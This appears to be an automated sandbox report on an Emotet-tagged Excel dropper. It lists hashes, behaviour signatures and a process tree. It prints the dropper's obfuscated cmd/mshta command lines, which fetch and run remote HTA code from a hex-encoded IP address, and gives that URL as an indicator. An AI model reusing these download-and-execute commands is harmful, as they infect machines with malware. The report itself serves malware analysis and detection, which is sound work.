Overview

overview

10

Static

static

8

emotet_v6

windows10_x64

10

emotet_doc

windows10_x64

10

Analysis

  • max time kernel
    131s
  • max time network
    131s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    18-01-2022 15:50

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General

  • Target

    e6a55d3065b29b2634244c18d442d767860dde8b31b384e78ffa5a532f690a08.xls

  • Size

    128KB

  • MD5

    22024c28d98a0aa62558650d4be96202

  • SHA1

    2b145417423113d71bf9c988de67ebc2ded75471

  • SHA256

    e6a55d3065b29b2634244c18d442d767860dde8b31b384e78ffa5a532f690a08

  • SHA512

    6cf1ea3a5a151a833fbf9d5831d80583a15509183dc134b495cd26c41562bd2a8b159b170851a6f04c846592da00885ea93d4b58240d3f4db9f61285fcf84238

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/cc.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\e6a55d3065b29b2634244c18d442d767860dde8b31b384e78ffa5a532f690a08.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2748
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2764
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/cc.html
        3⤵
        • Blocklisted process makes network request
        PID:1772

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/2748-115-0x00007FFDCB810000-0x00007FFDCB820000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2748-116-0x00007FFDCB810000-0x00007FFDCB820000-memory.dmp

    Filesize

    64KB

    Download